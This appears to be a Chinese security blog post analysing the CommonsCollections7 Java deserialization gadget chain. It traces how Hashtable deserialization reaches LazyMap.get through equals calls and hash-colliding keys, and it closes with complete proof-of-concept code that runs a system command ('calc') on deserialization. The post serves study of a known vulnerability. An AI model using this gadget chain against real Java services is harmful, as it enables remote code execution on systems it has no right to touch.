CC7链分析

本文最后更新于:2024年10月14日 晚上

CC7链:Hashtable进行Trigger

CC链分析完整测试代码,可直接拉取

直接打开ysoserial源码中的CommonsCollections7.java

简单扫一眼,最终的命令执行使用InvokerTransformer,仍然采用LazyMap包裹ChainedTransformer,更换入口点为Hashtable,整体和CC1类似,只需要分析入口点即可。

跳转到Hashtable的源码,分析其readObject是如何触发反序列化漏洞的,由于是通过LazyMap触发的,我们只需要关注方法中对k-v进行处理的部分,也就是代码最后,循环调用了reconstitutionPut方法,

显然这是一个类似于put方法的东西,把k-v重新放进hashtable,一眼看去好像没有什么地方可以触发漏洞,这里复习一下,LazyMap的触发点在其get方法,会调用factory成员变量的transform方法。

这里CC7的作者就非常细节了,这个方法中,k-v相关的唯一的地方就在if语句那里判断是否相等,e.key.equals(key)这里就值得深挖,下面有点绕。

  • 首先,这里的key是LazyMap,去看看LazyMap的源码中并没有实现equals方法,所以去看它的父类AbstractMapDecorator

  • AbstractMapDecorator中的确实现了equals方法,显然这里我们不能进入if内部,所以这里object需要和this不相同,为后面构造payload埋个伏笔。

    1
    2
    3
    4
    5
    6
    public boolean equals(Object object) {
    if (object == this) {
    return true;
    }
    return map.equals(object);
    }
  • 假设我们进入了第二个return,那么这个map又是调用的哪个equals方法呢。这个map是在LazyMap.decorate时构造的,super(map)正是调用父类的构造器赋值,而我们这里传入的map是HashMap类构造的实例,所以要去调用HashMap.equals()

    1
    2
    3
    4
    5
    6
    7
    protected LazyMap(Map map, Factory factory) {
    super(map);
    if (factory == null) {
    throw new IllegalArgumentException("Factory must not be null");
    }
    this.factory = FactoryTransformer.getInstance(factory);
    }
  • 现在走到了HashMap类,查找一下就发现其本身并没有实现equals方法,所以在它的父类AbstractMap中,需要注意的是传入的Object一直是LazyMap类没有变,所以m就是LazyMap的实例,触发get方法从而进入后续的命令执行流程

到这里,我们的思路就理清楚了,还记得刚刚在AbstractMapDecorator.equals()中的问题吗,需要两个不一样的LazyMap实例,这简单,但是回到**Hashtable.reconstitutionPut()这里,需要两个LazyMap实例先满足hash值相等**,如何去解决hash相等的问题。

1
2
3
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}

这里就需要用到hash碰撞的思想了,

  • 对于一个给定的,难以找到一个使得,这叫散列函数的弱碰撞性
  • 对于一个散列算法,难以找到使得,这叫散列函数的强碰撞性

由于字符串是无限的,而hash值是有限的,出现碰撞是必然的,判断一个hash算法的好坏的其中一个重要因素就在于其抗碰撞的能力

这里不太清楚ysoseial-CC7的作者是如何找到,yy和zZ会使得两个LazyMap实例的hash值相同的。

不过不重要,直接拿来用,下面构造测试代码:

为什么要remove,因为Hashtableput方法也会触发LazyMap.get导致lazyMap2中含有yy,使得在反序列化过程中,无法进入get方法中含有transform的部分,所有需要去除lazyMap2中的yy

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public static void main(String[] args) throws Exception {
Transformer[] fakeTrans = new Transformer[]{(new ConstantTransformer(1))};
Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};
ChainedTransformer chain = new ChainedTransformer(fakeTrans);
Map map1 = new HashMap<>();
Map map2 = new HashMap<>();
Map lazyMap1 = LazyMap.decorate(map1,chain);
Map lazyMap2 = LazyMap.decorate(map2,chain);
lazyMap1.put("yy",1);
lazyMap2.put("zZ",1);

Hashtable hashtable = new Hashtable<>();
hashtable.put(lazyMap1,1);
hashtable.put(lazyMap2,2);

Field field = chain.getClass().getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chain,transformer);

lazyMap2.remove("yy");

// 测试
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashtable);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}

CC7链分析
https://3xsh0re.github.io/2024/10/02/CC7链分析/
作者
3xsh0re
发布于
2024年10月2日
许可协议